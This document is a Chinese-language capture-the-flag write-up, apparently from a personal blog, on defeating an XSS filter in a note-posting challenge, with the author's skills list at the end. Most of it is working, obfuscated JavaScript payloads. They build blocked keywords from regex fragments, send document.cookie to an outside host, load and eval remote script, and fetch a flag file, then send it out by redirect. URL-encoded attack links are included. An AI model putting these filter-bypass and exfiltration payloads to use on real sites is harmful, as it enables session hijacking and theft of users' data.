<body onpageshow=window[(/l/+1)[1]+(/o/+1)[1]+(/c/+1)[1]+(/a/+1)[1]+(/t/+1)[1]+(/i/+1)[1]+(/o/+1)[1]+(/n/+1)[1]].href=(/h/+1)[1]+(/t/+1)[1]+(/t/+1)[1]+(/p/+1)[1]+(/:/+1)[1]+(/\//+1)[1]+(/\//+1)[1]+(/a/+1)[1]+(/p/+1)[1]+(/i/+1)[1]+(/./+1)[1]+(/c/+1)[1]+(/h/+1)[1]+(/a/+1)[1]+(/r/+1)[1]+(/a/+1)[1]+(/./+1)[1]+(/p/+1)[1]+(/u/+1)[1]+(/b/+1)[1]+(/\//+1)[1]+document[(/c/+1)[1]+(/o/+1)[1]+(/o/+1)[1]+(/k/+1)[1]+(/i/+1)[1]+(/e/+1)[1]] />

http://172.26.176.1/note.php?note=%3Cbody+onpageshow%3Dwindow%5B%28%2Fl%2F%2B1%29%5B1%5D%2B%28%2Fo%2F%2B1%29%5B1%5D%2B%28%2Fc%2F%2B1%29%5B1%5D%2B%28%2Fa%2F%2B1%29%5B1%5D%2B%28%2Ft%2F%2B1%29%5B1%5D%2B%28%2Fi%2F%2B1%29%5B1%5D%2B%28%2Fo%2F%2B1%29%5B1%5D%2B%28%2Fn%2F%2B1%29%5B1%5D%5D.href%3D%28%2Fh%2F%2B1%29%5B1%5D%2B%28%2Ft%2F%2B1%29%5B1%5D%2B%28%2Ft%2F%2B1%29%5B1%5D%2B%28%2Fp%2F%2B1%29%5B1%5D%2B%28%2F%3A%2F%2B1%29%5B1%5D%2B%28%2F%5C%2F%2F%2B1%29%5B1%5D%2B%28%2F%5C%2F%2F%2B1%29%5B1%5D%2B%28%2Fa%2F%2B1%29%5B1%5D%2B%28%2Fp%2F%2B1%29%5B1%5D%2B%28%2Fi%2F%2B1%29%5B1%5D%2B%28%2F.%2F%2B1%29%5B1%5D%2B%28%2Fc%2F%2B1%29%5B1%5D%2B%28%2Fh%2F%2B1%29%5B1%5D%2B%28%2Fa%2F%2B1%29%5B1%5D%2B%28%2Fr%2F%2B1%29%5B1%5D%2B%28%2Fa%2F%2B1%29%5B1%5D%2B%28%2F.%2F%2B1%29%5B1%5D%2B%28%2Fp%2F%2B1%29%5B1%5D%2B%28%2Fu%2F%2B1%29%5B1%5D%2B%28%2Fb%2F%2B1%29%5B1%5D%2B%28%2F%5C%2F%2F%2B1%29%5B1%5D%2Bdocument%5B%28%2Fc%2F%2B1%29%5B1%5D%2B%28%2Fo%2F%2B1%29%5B1%5D%2B%28%2Fo%2F%2B1%29%5B1%5D%2B%28%2Fk%2F%2B1%29%5B1%5D%2B%28%2Fi%2F%2B1%29%5B1%5D%2B%28%2Fe%2F%2B1%29%5B1%5D%5D+%2F%3E

限制url长度500,所以需要优化

1
2
3
4
5
6
7
8
(/http:\/\/api.chara.pub\//+1).substring(1,25)
(/l/+1)[1]+(/ocation/+1).substring(1,8)
(/c/+1)[1]+(/ookies/+1).substring(1,7)

<body onpageshow=window[(/l/+1)[1]+(/ocation/+1).substring(1,8)].href=(/http:\/\/api.chara.pub\//+1).substring(1,25)+document[(/c/+1)[1]+(/ookie/+1).substring(1,6)] />


http://172.26.176.1/note.php?note=%3Cbody+onpageshow%3Dwindow%5B%28%2Fl%2F%2B1%29%5B1%5D%2B%28%2Focation%2F%2B1%29.substring%281%2C8%29%5D.href%3D%28%2Fhttp%3A%5C%2F%5C%2Fapi.chara.pub%5C%2F%2F%2B1%29.substring%281%2C25%29%2Bdocument%5B%28%2Fc%2F%2B1%29%5B1%5D%2B%28%2Fookie%2F%2B1%29.substring%281%2C6%29%5D+%2F%3E

可以打到admin的phpsessionid,但是没有用

1
2
3
4
5
6
7
8
9
10
11
a=new XMLHttpRequest();a.open("GET","http://api.chara.pub",1);a.onreadystatechange=function(){eval(a.responseText)};a.send(null)

a=new XMLHttpRequest();a.open((/GET/+1).substring(1,4),(/http:\/\/api.chara.pub\//+1).substring(1,25),1);a.onreadystatechange (){eval(a.responseText)};a.send(null)

#过滤func,用lambda

(/r/+1)[1]+(/esponseText/+1).substring(1,12)

a=new XMLHttpRequest();a.open((/GET/+1).substring(1,4),(/http:\/\/api.chara.pub\//+1).substring(1,25),1);a.onreadystatechange=()=>{eval(a[(/r/+1)[1]+(/esponseText/+1).substring(1,12)])};a.send(null)

<body onpageshow=a=new XMLHttpRequest();a.open((/GET/+1).substring(1,4),(/http:\/\/api.chara.pub\//+1).substring(1,25),1);a.onreadystatechange=()=>{eval(a[(/r/+1)[1]+(/esponseText/+1).substring(1,12)])};a.send(null) />

csp不允许XMLHttpRequest访问外部地址,那剩下的方法就是getflag然后提交到用户名里

用户名限制格式,要么分段打payload,要么window.location.href

XMLHttpRequest需要一个空格来new,用fetch

1
2
3
4
5
6
7
8
9
fetch("/lib/flag.php",{method:"GET"}).then((r)=>{r.text().then((r)=>{window.location.href="http://api.chara.pub/"+r})})


(/\/lib\/flag.php/+1).substring(2,16)
(/\/lib\/f/+1).substring(2,9)+(/lag.php/+1).substring(1,8)

a=(/t/+1)[1]+(/hen/+1).substring(1,4);window[(/f/+1)[1]+(/etch/+1).substring(1,5)]((/\/lib\/f/+1).substring(2,9)+(/lag.php/+1).substring(1,8),{method:(/GET/+1).substring(1,4)})[a]((r)=>{r.text()[a]((r)=>{window[(/l/+1)[1]+(/ocation/+1).substring(1,8)].href=(/http:\/\/api.chara.pub\//+1).substring(1,25)+r})})

<body onpageshow=a=(/t/+1)[1]+(/hen/+1).substring(1,4);window[(/f/+1)[1]+(/etch/+1).substring(1,5)]((/\/lib\/f/+1).substring(2,9)+(/lag.php/+1).substring(1,8),{method:(/GET/+1).substring(1,4)})[a]((r)=>{r.text()[a]((r)=>{window[(/l/+1)[1]+(/ocation/+1).substring(1,8)].href=(/http:\/\/api.chara.pub\//+1).substring(1,25)+r})}) />

=>绕过

直接用eval构造字符串?

题目好像改过,现在的过滤了eval

1
2
3
4
5
6
7
a=String.fromCharCode;
b=(/fetch(12lib2flag.php1,{method:1GET1}).then((r)=3{r.text().then((r)=3{window.location.href=1http:22api.chara.pub21+r})})/+4).replace(/1/g,a(34)).replace(/2/g,a(47)).replace(/3/g,a(62)).substring(1,120);window[(/e/+1)[1]+(/val/+1).substring(1,4)](b)

#最后的payload
<body onpageshow=a=String.fromCharCode;b=(/5etch(12lib25lag.php1,{method:1GET1}).th6n((r)=3{r.text().th6n((r)=3{window.l7cation.href=1http:22api.chara.pub21+r})})/+4).replace(/1/g,a(34)).replace(/2/g,a(47)).replace(/3/g,a(62)).replace(/5/g,a(102)).replace(/6/g,a(101)).replace(/7/g,a(111)).substring(1,120);window[(/e/+1)[1]+(/val/+1).substring(1,4)](b) />

http://172.26.176.1/note.php?note=%3Cbody+onpageshow%3Da%3DString.fromCharCode%3Bb%3D%28%2F5etch%2812lib25lag.php1%2C%7Bmethod%3A1GET1%7D%29.th6n%28%28r%29%3D3%7Br.text%28%29.th6n%28%28r%29%3D3%7Bwindow.l7cation.href%3D1http%3A22a.chara.pub21%2Br%7D%29%7D%29%2F%2B4%29.replace%28%2F1%2Fg%2Ca%2834%29%29.replace%28%2F2%2Fg%2Ca%2847%29%29.replace%28%2F3%2Fg%2Ca%2862%29%29.replace%28%2F5%2Fg%2Ca%28102%29%29.replace%28%2F6%2Fg%2Ca%28101%29%29.replace%28%2F7%2Fg%2Ca%28111%29%29.substring%281%2C120%29%3Bwindow%5B%28%2Fe%2F%2B1%29%5B1%5D%2B%28%2Fval%2F%2B1%29.substring%281%2C4%29%5D%28b%29+%2F%3E

可能长度还是有点过(虽然自己测出来是499),用flask写个302可以打

About me

CTF

Web 80% (Most of it)

Pwn 30% (Stack, easy heap)

Misc 20% (Traditional misc)

Reverse 10% (搞开发的多半都看得懂点re)

Crypto 0%

开发

Android 80%

Android-Xposed 80%

Java/JavaEE 60%

JavaScript 60%

Swift 20%

GoLang 20%

C/CPP 10%

运维/数据库 60%